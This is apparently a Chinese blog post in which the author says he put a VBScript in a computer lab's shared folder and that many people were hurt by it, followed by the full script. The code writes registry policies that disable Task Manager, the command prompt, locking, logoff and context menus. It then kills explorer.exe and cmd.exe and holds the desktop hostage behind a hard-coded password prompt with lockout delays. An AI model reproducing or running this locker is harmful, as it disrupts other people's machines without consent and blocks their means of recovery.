标签:关机 change let creat igp 安全模式 lse system 双引号
最近我写了一个VBS小程序,并放在机房的共享里,结果许多人深受其害。。。
关闭explorer.exe
,使系统界面“崩溃”
修改注册表,使得Win + L
锁定(切换用户)、Ctrl + Alt + Del
进安全模式、任务管理器和关机指令被禁用。
调用inputBox
命令,询问密码,只有密码正确才会打开explorer.exe
并恢复注册表
Set shell = CreateObject("wscript.shell")
Dim key, password, maxin, waits, weight, high, tip
tip = "*********" '这个是密码提示,双引号里面的值可以改
key = ""
password = "123456789" '这个是密码,引号里面的值也可以改
maxin = 5 '最多输错几次
waits = 300 '输错maxin次后,锁定的秒数
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD",02,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConfigPage",00,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDevMgrPage",00,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableSwitchUserOption",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff",01,"REG_DWORD"
shell.run "cmd Command /k taskkill /f /im cmd.exe /t"
shell.run "taskkill /f /im explorer.exe"
do
For i = 1 To maxin
key = InputBox("您的系统已经被锁定,请输入密码解锁", "系统锁定", tip)
If key = password Then
MsgBox "系统已解锁"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConfigPage",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDevMgrPage",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableSwitchUserOption",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff",0,"REG_DWORD"
shell.run "explorer.exe"
shell.run "taskkill /f /im wscript.exe"
ElseIf key = tip Then
MsgBox "密码不能为空!"
i = i - 1
ElseIf key = "" Then
MsgBox "密码不能为空!"
i = i - 1
Else
MsgBox "密码错误,您还有 " & maxin - i & " 次机会"
End If
Next
For i = 0 To waits-1
shell.popup "请在 " & waits-i & " 秒后输入密码...", 1, "密码输入过于频繁"
Next
loop
标签:关机 change let creat igp 安全模式 lse system 双引号
原文地址:https://www.cnblogs.com/ByhBlog/p/11412238.html